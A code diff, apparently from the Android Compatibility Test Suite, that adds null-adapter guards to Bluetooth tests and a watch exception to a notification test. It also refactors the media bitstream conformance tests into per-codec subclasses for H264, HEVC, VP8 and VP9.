Merge "Test: check codec support before running video related test" into oc-dev
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index 00b498a..bf08014 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -143,6 +143,10 @@
* Behavior of getState() and isEnabled() are validated along the way.
*/
private void disable() {
+ // Can't disable a bluetooth adapter that does not exist.
+ if (mBluetoothAdapter == null)
+ return;
+
sleep(CHECK_WAIT_TIME_MS);
if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
assertFalse(mBluetoothAdapter.isEnabled());
@@ -200,6 +204,10 @@
* Behavior of getState() and isEnabled() are validated along the way.
*/
private void enable() {
+ // Can't enable a bluetooth adapter that does not exist.
+ if (mBluetoothAdapter == null)
+ return;
+
sleep(CHECK_WAIT_TIME_MS);
if (mBluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
assertTrue(mBluetoothAdapter.isEnabled());
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
index 10a1b77..f91c8a7 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
@@ -29,6 +29,9 @@
* cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
*/
public class NotificationTest extends ProtoDumpTestCase {
+ // These constants are those in PackageManager.
+ public static final String FEATURE_WATCH = "android.hardware.type.watch";
+
/**
* Tests that at least one notification is posted, and verify its properties are plausible.
*/
@@ -67,9 +70,13 @@
assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
assertEquals(0, zenProto.getEnabledActiveConditionsCount());
- assertEquals(0, zenProto.getSuppressedEffects());
- assertEquals(0, zenProto.getSuppressorsCount());
+
+ // b/64606626 Watches intentionally suppress notifications always
+ if (!getDevice().hasFeature(FEATURE_WATCH)) {
+ assertEquals(0, zenProto.getSuppressedEffects());
+ assertEquals(0, zenProto.getSuppressorsCount());
+ }
+
zenProto.getPolicy();
}
}
-
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index c291b77..71c8519 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -26,5 +26,7 @@
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsMediaBitstreamsTestCases.jar" />
<option name="runtime-hint" value="4h50m" />
+ <!-- shard-unit must be class -->
+ <option name="shard-unit" value="class" />
</test>
</configuration>
diff --git a/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java b/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java
index 99c4387..774e5be 100644
--- a/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java
+++ b/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java
@@ -53,6 +53,7 @@
public static final String K_TEST_GET_SUPPORTED_BITSTREAMS = "testGetSupportedBitstreams";
public static final String K_NATIVE_CRASH = "native crash";
public static final String K_UNSUPPORTED = "unsupported";
+ public static final String K_UNAVAILABLE = "unavailable";
public static final String DYNAMIC_CONFIG_XML = "DynamicConfig.xml";
public static final String DYNAMIC_CONFIG = "dynamicConfig";
@@ -67,7 +68,7 @@
* @return checksum file path for {@code bitstreamPath}, e.g. {@code h264/../../../../*_md5}.
*/
public static String getMd5Path(String bitstreamPath) {
- String base = bitstreamPath.split("\\.")[0];
+ String base = bitstreamPath.replaceAll(".mp4$|.webm$", "");
String codec = bitstreamPath.split("/", 2)[0];
String md5Path = String.format("%s_%s_md5", base, codec);
return md5Path;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
index 1631357..f8e5576 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
@@ -25,15 +25,14 @@
import com.android.tradefed.testtype.IDeviceTest;
import com.android.tradefed.testtype.ISetOptionReceiver;
import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
import java.util.HashSet;
+import java.util.List;
import java.util.Set;
+import org.junit.Ignore;
import org.junit.runner.Description;
import org.junit.runner.Runner;
import org.junit.runners.model.FrameworkMethod;
import org.junit.runners.model.InitializationError;
-import org.junit.runners.model.TestClass;
import org.junit.runners.parameterized.BlockJUnit4ClassRunnerWithParameters;
import org.junit.runners.parameterized.ParametersRunnerFactory;
import org.junit.runners.parameterized.TestWithParameters;
@@ -53,8 +52,6 @@
private ITestDevice mDevice;
private IBuildInfo mBuildInfo;
private IAbi mAbi;
- private Collection<FrameworkMethod> mFilteredChildren;
- private Object mChildrenLock = new Object();
public DeviceJUnit4ClassRunnerWithParameters(TestWithParameters test) throws InitializationError {
super(test);
@@ -81,26 +78,28 @@
return mDevice;
}
+
@Override
public Description getDescription() {
- Description description = Description.createSuiteDescription(getTestClass().getJavaClass());
- for (FrameworkMethod child : getFilteredChildren()) {
- description.addChild(describeChild(child));
+ Description desc = Description.createSuiteDescription(getTestClass().getJavaClass());
+ for (FrameworkMethod method : getChildren()) {
+ desc.addChild(describeChild(method));
}
- return description;
+ return desc;
}
- private Collection<FrameworkMethod> getFilteredChildren() {
- if (mFilteredChildren == null) {
- synchronized (mChildrenLock) {
- if (mFilteredChildren == null) {
- mFilteredChildren = Collections.unmodifiableCollection(getChildren());
- }
+ @Override
+ protected List<FrameworkMethod> getChildren() {
+ List<FrameworkMethod> methods = super.getChildren();
+ List<FrameworkMethod> filteredMethods = new ArrayList<>();
+ for (FrameworkMethod method : methods) {
+ Description desc = describeChild(method);
+ if (desc.getAnnotation(Ignore.class) == null) {
+ filteredMethods.add(method);
}
}
- return mFilteredChildren;
+ return filteredMethods;
}
-
/**
* We override createTest in order to set the device.
*/
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java
new file mode 100644
index 0000000..b1a1c05
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class H264Yuv420_8bitBpBitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("h264/yuv420/8bit/bp");
+ }
+
+ public H264Yuv420_8bitBpBitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java
new file mode 100644
index 0000000..4d4d1cb
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class H264Yuv420_8bitHpBitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("h264/yuv420/8bit/hp");
+ }
+
+ public H264Yuv420_8bitHpBitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java
new file mode 100644
index 0000000..baa10c1
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class H264Yuv420_8bitMpBitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("h264/yuv420/8bit/mp");
+ }
+
+ public H264Yuv420_8bitMpBitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsTest.java
new file mode 100644
index 0000000..87a045c
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class HevcYuv400BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("hevc/yuv400");
+ }
+
+ public HevcYuv400BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java
new file mode 100644
index 0000000..189b368
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class HevcYuv420BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("hevc/yuv420");
+ }
+
+ public HevcYuv420BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsTest.java
new file mode 100644
index 0000000..5cc0131
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class HevcYuv422BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("hevc/yuv422");
+ }
+
+ public HevcYuv422BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsTest.java
new file mode 100644
index 0000000..38391b5
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class HevcYuv444BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("hevc/yuv444");
+ }
+
+ public HevcYuv444BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
index 2c61859..41cb5c9 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
@@ -39,6 +39,7 @@
import java.nio.file.Files;
import java.util.ArrayDeque;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.Collections;
import java.util.Deque;
import java.util.HashMap;
@@ -48,11 +49,10 @@
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
import org.junit.Ignore;
import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized.Parameters;
-import org.junit.runners.Parameterized.UseParametersRunnerFactory;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import org.xmlpull.v1.XmlPullParserFactory;
@@ -61,9 +61,7 @@
* Test that verifies video bitstreams decode pixel perfectly
*/
@OptionClass(alias="media-bitstreams-test")
-@RunWith(DeviceJUnit4Parameterized.class)
-@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
-public class MediaBitstreamsTest implements IDeviceTest, IBuildReceiver, IAbiReceiver {
+public abstract class MediaBitstreamsTest implements IDeviceTest, IBuildReceiver, IAbiReceiver {
@Option(name = MediaBitstreams.OPT_HOST_BITSTREAMS_PATH,
description = "Absolute path of Ittiam bitstreams (host)",
@@ -95,6 +93,32 @@
description = "Only test bitstreams in this sub-directory")
private String mPrefix = "";
+ private String mPath = "";
+
+ private static ConcurrentMap<String, List<ConformanceEntry>> mResults = new ConcurrentHashMap<>();
+
+ /**
+ * Which subset of bitstreams to test
+ */
+ enum BitstreamPackage {
+ SMALL,
+ STANDARD,
+ FULL,
+ }
+
+ static class ConformanceEntry {
+ final String mPath, mCodecName, mStatus;
+ ConformanceEntry(String path, String codecName, String status) {
+ mPath = path;
+ mCodecName = codecName;
+ mStatus = status;
+ }
+ @Override
+ public String toString() {
+ return String.format("%s,%s,%s", mPath, mCodecName, mStatus);
+ }
+ }
+
/**
* A helper to access resources in the build.
*/
@@ -103,24 +127,25 @@
private IAbi mAbi;
private ITestDevice mDevice;
- @Parameters(name = "{0}")
- public static Iterable<? extends Object> bitstreams() {
+ static Collection<Object[]> bitstreams(String prefix) {
final String dynConfXml = new File("/", MediaBitstreams.DYNAMIC_CONFIG_XML).toString();
try (InputStream is = MediaBitstreamsTest.class.getResourceAsStream(dynConfXml)) {
- List<String> entries = new ArrayList<>();
+ List<Object[]> entries = new ArrayList<>();
XmlPullParser parser = XmlPullParserFactory.newInstance().newPullParser();
parser.setInput(is, null);
parser.nextTag();
parser.require(XmlPullParser.START_TAG, null, MediaBitstreams.DYNAMIC_CONFIG);
while (parser.next() != XmlPullParser.END_DOCUMENT) {
- if (parser.getEventType() != XmlPullParser.START_TAG) {
+ if (parser.getEventType() != XmlPullParser.START_TAG
+ || !MediaBitstreams.DYNAMIC_CONFIG_ENTRY.equals(parser.getName())) {
continue;
}
- String name = parser.getName();
- if (name.equals(MediaBitstreams.DYNAMIC_CONFIG_ENTRY)) {
- final String key = MediaBitstreams.DYNAMIC_CONFIG_KEY;
- entries.add(parser.getAttributeValue(null, key));
+ final String key = MediaBitstreams.DYNAMIC_CONFIG_KEY;
+ String bitstream = parser.getAttributeValue(null, key);
+ if (!bitstream.startsWith(prefix)) {
+ continue;
}
+ entries.add(new Object[] {prefix, bitstream});
}
return entries;
} catch (XmlPullParserException | IOException e) {
@@ -129,8 +154,9 @@
}
}
- public MediaBitstreamsTest(String prefix) {
+ public MediaBitstreamsTest(String prefix, String path) {
mPrefix = prefix;
+ mPath = path;
}
@Override
@@ -190,6 +216,10 @@
report.addValue(MediaBitstreams.KEY_CODEC_NAME, d, ResultType.NEUTRAL, ResultUnit.NONE);
report.addValue(MediaBitstreams.KEY_STATUS, s, ResultType.NEUTRAL, ResultUnit.NONE);
report.submit();
+
+ ConformanceEntry ce = new ConformanceEntry(p, d, s);
+ mResults.putIfAbsent(p, new ArrayList<>());
+ mResults.get(p).add(ce);
}
Map<String, String> getArgs() {
@@ -368,9 +398,16 @@
}
@Test
- public void testBitstreamsConformance()
- throws DeviceNotAvailableException, IOException {
- testBitstreamsConformance(mPrefix);
+ public void testBitstreamsConformance() {
+ if (!mResults.containsKey(mPath)) {
+ try {
+ testBitstreamsConformance(mPrefix);
+ } catch (DeviceNotAvailableException | IOException e) {
+ String curMethod = getCurrentMethod();
+ addConformanceEntry(curMethod, mPath, MediaBitstreams.K_UNAVAILABLE, e.toString());
+ }
+ }
+ // todo(robertshih): lookup conformance entry; pass/fail based on lookup result
}
private void testBitstreamsConformance(String prefix)
@@ -383,7 +420,7 @@
device,
MediaBitstreams.K_TEST_GET_SUPPORTED_BITSTREAMS,
MediaBitstreams.KEY_SUPPORTED_BITSTREAMS_TXT);
- Set<String> bitstreams = preparer.getBitstreams();
+ Collection<Object[]> bitstreams = bitstreams(mPrefix);
Set<String> supportedBitstreams = preparer.getSupportedBitstreams();
CLog.i("%d supported bitstreams under %s", supportedBitstreams.size(), prefix);
@@ -393,7 +430,7 @@
String curMethod = getCurrentMethod();
Set<String> toPush = new LinkedHashSet<>();
- Iterator<String> iter = bitstreams.iterator();
+ Iterator<Object[]> iter = bitstreams.iterator();
for (int i = 0; i < bitstreams.size(); i++) {
@@ -401,9 +438,15 @@
break;
}
- String p = iter.next();
+ String p = (String) iter.next()[1];
Map<String, Boolean> decoderCapabilities;
decoderCapabilities = preparer.getDecoderCapabilitiesForPath(p);
+ if (decoderCapabilities.isEmpty()) {
+ addConformanceEntry(
+ curMethod, p,
+ MediaBitstreams.K_UNAVAILABLE,
+ MediaBitstreams.K_UNSUPPORTED);
+ }
for (Entry<String, Boolean> entry : decoderCapabilities.entrySet()) {
Boolean supported = entry.getValue();
if (supported) {
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java
new file mode 100644
index 0000000..e7a6cec
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class Vp8BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("vp8");
+ }
+
+ public Vp8BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java
new file mode 100644
index 0000000..dde31b8
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class Vp9Yuv420BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("vp9/yuv420");
+ }
+
+ public Vp9Yuv420BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsTest.java
new file mode 100644
index 0000000..a04aca4
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class Vp9Yuv422BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("vp9/yuv422");
+ }
+
+ public Vp9Yuv422BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsTest.java
new file mode 100644
index 0000000..dadd1c9
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class Vp9Yuv444BitstreamsTest extends MediaBitstreamsTest {
+
+ @Parameters(name = "{1}")
+ public static Iterable<Object[]> bitstreams() {
+ return MediaBitstreamsTest.bitstreams("vp9/yuv444");
+ }
+
+ public Vp9Yuv444BitstreamsTest(String prefix, String path) {
+ super(prefix, path);
+ }
+
+}
